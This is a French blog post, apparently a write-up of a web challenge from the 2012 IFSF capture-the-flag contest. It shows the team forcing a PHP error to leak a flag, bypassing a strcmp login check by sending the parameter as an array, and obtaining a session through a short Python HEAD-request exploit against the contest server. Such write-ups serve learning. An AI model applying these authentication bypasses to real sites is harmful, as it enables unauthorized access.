lundi 13 février 2012

IFSF - ForbiddenBits Write-UP #1

Bonjour à vous lecteurs,

Alors le CTF IFSF est fini, et les writes-up commencent à faire apparition sur sites des concurrents alors pourquoi pas nous et en Français.

Alors avant tout j'ai participé à ce CTF avec Zenk-Security ! c’était un plaisir de le faire avec eux. Il y avait une super ambiance et un super dynamisme !

Sur cette épreuve web nous remarquons que les pages passent par $_GET[] sous la forme :
index.php?organization // index.php?news
On provoque une collision en faisant :
index.php?organization&news

On obtient l'erreur suivante :
<b>Fatal error</b>: Cannot redeclare showPage_FLAG1_48NG9X9448HF4() (previously declared in /var/www/html/SECURITY_include_files_OBSCURITY/news.php:3) in <b>/var/www/html/SECURITY_include_files_OBSCURITY/members.php</b> on line <b>5</b><br />
On  a là notre premier flag et un dossier.
En visitant ce dossier on tombe sur un .gz du fichier member.php (attention les yeux, il était tout encrypté)
grâce à tlk_ et var_dump() on a réussi a obtenir quelques choses de clair.

$se=$GLOBALS["@@"];
$s=filesize($se);
$f=fopen($se,"r");
fseek($f,2794);
$ss=fread($f,$s-2794);
$Nv=hash("sha512",md5($s).md5($ss));
$Nv=$Nv.$Nv.$Nv;
$V=$GLOBALS["xij"]^$Nv;
if(!preg_match("/[^\x20-\x7f]/",$V)){$B=create_function("",$V);
@$B();
}

et


<?
function auth($X){
    if(!isset($_SESSION["loggedIn"])){
        $_SESSION["loggedIn"]=true;
        if(@$_GET["pass"]===$X[9])
            echo $X[8];
        else{
            echo $X[11];
            ob_flush();
            unset($_SESSION["loggedIn"]);
        }
    }
}
$j=@$_GET["4kXI0N"];
$f=file("params.php");
if(!@strcmp($j,"login")){
    if("login"===$_GET["4kXI0N"]){
        echo $f[16];
    }
    else{
        auth($f);
        echo $f[5];
    }
}
unset($GLOBALS);

On doit passer par index.php pour que params soit bien load est non par le dossier.
On voit que si la fonction $_GET["4kXI0N"] vaut login la fonction auth() est appelé ! On l'a alors essayé de la manière suivante :


  • http://208.64.122.29/?members&4kXI0N=login&pass=blah
On a eu un message "under construction"

Pour bypass le login on a fait de login un array en mettant :
  • http://208.64.122.29/?members&&4kXI0N[]=login&pass=blah
Et la on a une erreur avec le flag n°2, "Wrong password" ... donc le login est bien bypass.

FLAG_2:
EJZ94374F4Z_ZEF43

Maintenant pour bypass le password on a trouvé ce paper qui nous a bien : 
et tlk_ a pu coder ceci : 

#!/usr/bin/env python
# encoding: utf-8
"""
sploit.py
"""

import httplib

def main():
    conn = httplib.HTTPConnection("208.64.122.29")
    conn.request("HEAD","/?members&4kXI0N[]=login")
    reponse = conn.getresponse()
    print(reponse.getheaders())

if __name__ == '__main__':
    main()

Ce qui nous a permis d'obtenir un SESSID, on modifiait nos cookies pour remplacer notre PHPSESSID par celui qu'on a obtenu, et on obtenait le dernier FLAG

Aucun commentaire:

Enregistrer un commentaire